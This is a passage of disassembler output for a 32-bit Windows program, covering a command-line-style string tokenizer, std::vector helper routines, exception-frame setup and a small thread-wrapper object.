arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A471
		mov	esi, [esp+44h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861
		jmp	loc_40A5A4
; ---------------------------------------------------------------------------


loc_40A471:				; CODE XREF: sub_40A430+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_401690
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014D3
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A555
		push	ebx


loc_40A4B1:				; CODE XREF: sub_40A430+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A4C0


loc_40A4B7:				; CODE XREF: sub_40A430+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A4B7


loc_40A4C0:				; CODE XREF: sub_40A430+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A4CF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A4CF:				; CODE XREF: sub_40A430+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401988
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A51F
		test	cl, cl
		jz	short loc_40A507


loc_40A4EB:				; CODE XREF: sub_40A430+D5j
		cmp	cl, 22h
		jnz	short loc_40A4FC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A507
		test	cl, cl
		jz	short loc_40A507


loc_40A4FC:				; CODE XREF: sub_40A430+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A4EB


loc_40A507:				; CODE XREF: sub_40A430+B9j
					; sub_40A430+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A54A
		add	eax, 2
		jmp	short loc_40A546
; ---------------------------------------------------------------------------


loc_40A51F:				; CODE XREF: sub_40A430+B5j
		test	cl, cl
		jz	short loc_40A534
		mov	dl, [edi]


loc_40A525:				; CODE XREF: sub_40A430+102j
		cmp	cl, dl
		jz	short loc_40A534
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A525


loc_40A534:				; CODE XREF: sub_40A430+F1j
					; sub_40A430+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A54A
		cmp	cl, [edi]
		jnz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A546:				; CODE XREF: sub_40A430+EDj
		mov	[esp+48h+var_3C], eax


loc_40A54A:				; CODE XREF: sub_40A430+DAj
					; sub_40A430+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A4B1
		pop	ebx


loc_40A555:				; CODE XREF: sub_40A430+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A56D
		push	offset byte_446F70
		jmp	short loc_40A57A
; ---------------------------------------------------------------------------


loc_40A56D:				; CODE XREF: sub_40A430+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F64
		mov	eax, [eax]
		push	eax


loc_40A57A:				; CODE XREF: sub_40A430+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_40158C
; ---------------------------------------------------------------------------


loc_40A5A4:				; CODE XREF: sub_40A430+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A430	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A630	proc near		; CODE XREF: sub_4016AEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A630	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A670	proc near		; CODE XREF: sub_40200Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_40A670	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6A0	proc near		; CODE XREF: sub_401A87j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		retn	4
sub_40A6A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6C0	proc near		; CODE XREF: sub_40146Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A6C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A6E0:				; CODE XREF: ___:0040149Cj
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A700	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A720	proc near		; CODE XREF: sub_4017E4j
		mov	eax, [ecx+9]
		retn
sub_40A720	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A740	proc near		; CODE XREF: sub_4014D3j
		mov	eax, [ecx+9]
		retn
sub_40A740	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A760	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A760	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A790	proc near		; CODE XREF: sub_40158Cj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A790	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A7EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A7EA:				; CODE XREF: sub_40A7E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A810	proc near		; CODE XREF: sub_401F64j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A828
		mov	ecx, esi
		call	sub_401EE7


loc_40A828:				; CODE XREF: sub_40A810+Fj
		mov	ecx, esi
		call	sub_401D1B
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A810	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A850	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40164F
		push	eax
		mov	ecx, esi
		call	sub_4016EF
		pop	esi
		retn	4
sub_40A850	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A880	proc near		; CODE XREF: sub_401D1Bj
		mov	eax, [ecx+4]
		retn
sub_40A880	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8A0	proc near		; CODE XREF: sub_40164Fj
		mov	eax, [ecx+8]
		retn
sub_40A8A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4016EFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D1B
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013CF
		mov	ecx, edi
		call	sub_401D1B
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A910	proc near		; CODE XREF: sub_4019A6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40A930


loc_40A921:				; CODE XREF: sub_40A910+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018B1
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40A921


loc_40A930:				; CODE XREF: sub_40A910+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A910	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A950:				; CODE XREF: sub_401EE7j
		push	0FFFFFFFFh
		push	offset loc_438AB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		call	near ptr 76081F67h
		nop
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		call	near ptr 760A0430h
		nop
		lea	edx, [esp+14h]
		push	offset dword_43F080
		push	edx
		call	sub_436832
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A9D0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_40A9D0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4013CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AABB
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AA23
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AA25
; ---------------------------------------------------------------------------


loc_40AA23:				; CODE XREF: sub_40A9F0+26j
		mov	ebp, edi


loc_40AA25:				; CODE XREF: sub_40A9F0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DCF
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402176
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AABB:				; CODE XREF: sub_40A9F0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40AB19
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402176
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB19:				; CODE XREF: sub_40A9F0+D8j
		test	edi, edi
		jbe	short loc_40AB53
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020AE
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AB53:				; CODE XREF: sub_40A9F0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABC0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ABC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABE0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40AC12
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ABF6:				; CODE XREF: sub_40ABE0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_402121
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ABF6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AC12:				; CODE XREF: sub_40ABE0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ABE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC30	proc near		; CODE XREF: sub_402176j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AC57
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AC46:				; CODE XREF: sub_40AC30+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_402121
		add	esi, 4
		dec	edi
		jnz	short loc_40AC46
		pop	esi
		pop	ebx


loc_40AC57:				; CODE XREF: sub_40AC30+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AC30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AC70	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014CE
sub_40AC70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_402121j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401DE8
		add	esp, 8
		retn	8
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACD0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ACED
		mov	edx, [esp+arg_8]
		push	esi


loc_40ACE1:				; CODE XREF: sub_40ACD0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ACE1
		pop	esi

locret_40ACED:				; CODE XREF: sub_40ACD0+Aj
		retn
sub_40ACD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD00	proc near		; CODE XREF: sub_4020AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AD22
		mov	eax, [esp+arg_8]
		push	esi


loc_40AD11:				; CODE XREF: sub_40AD00+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40AD11
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AD22:				; CODE XREF: sub_40AD00+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40AD00	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD60	proc near		; CODE XREF: sub_4014CEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AD6A
		xor	eax, eax


loc_40AD6A:				; CODE XREF: sub_40AD60+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_40AD60	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD90	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40ADAB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40ADAB:				; CODE XREF: sub_40AD90+11j
		retn
sub_40AD90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADC0	proc near		; CODE XREF: sub_401E6Aj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E014
		retn
sub_40ADC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40ADE0:				; CODE XREF: ___:00401717j
					; ___:loc_402027j
		push	esi
		mov	esi, ecx
		call	sub_402031
		test	byte ptr [esp+8], 1
		jz	short loc_40ADF8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40ADF8:				; CODE XREF: ___:0040ADEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE10	proc near		; CODE XREF: sub_402031j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AE10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43E014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_401744


loc_40AE41:				; DATA XREF: sub_40AE52o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AE10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AE52	proc near		; DATA XREF: ___:0043F1BCo
		mov	eax, offset loc_40AE41
		retn
sub_40AE52	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE80	proc near		; CODE XREF: sub_4014BAj
		call	sub_401708
		jmp	sub_4017B2
sub_40AE80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401B18j
		call	sub_40161D
		jmp	sub_4017C1
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEC0	proc near		; CODE XREF: sub_4013D4j
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_40141F
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AEE2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AEE2:				; CODE XREF: sub_40AEC0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AEC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF00:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF27
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_40175D
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40AF27:				; CODE XREF: ___:0040AF09j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF40	proc near		; CODE XREF: sub_401744j
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF5C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401758
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40AF5C:				; CODE XREF: sub_40AF40+8j
		pop	esi
		retn
sub_40AF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF70:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF90	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AF90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40AFBE:				; DATA XREF: sub_40AFD1o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AF90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFD1	proc near		; DATA XREF: ___:0043F21Co
		mov	eax, offset loc_40AFBE
		retn
sub_40AFD1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B000	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B042
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_40218F
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B042:				; CODE XREF: sub_40B000+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B000	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B070	proc near		; CODE XREF: sub_401DCAj

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B092
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B092:				; CODE XREF: sub_40B070+6j
		pop	ecx
		retn
sub_40B070	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

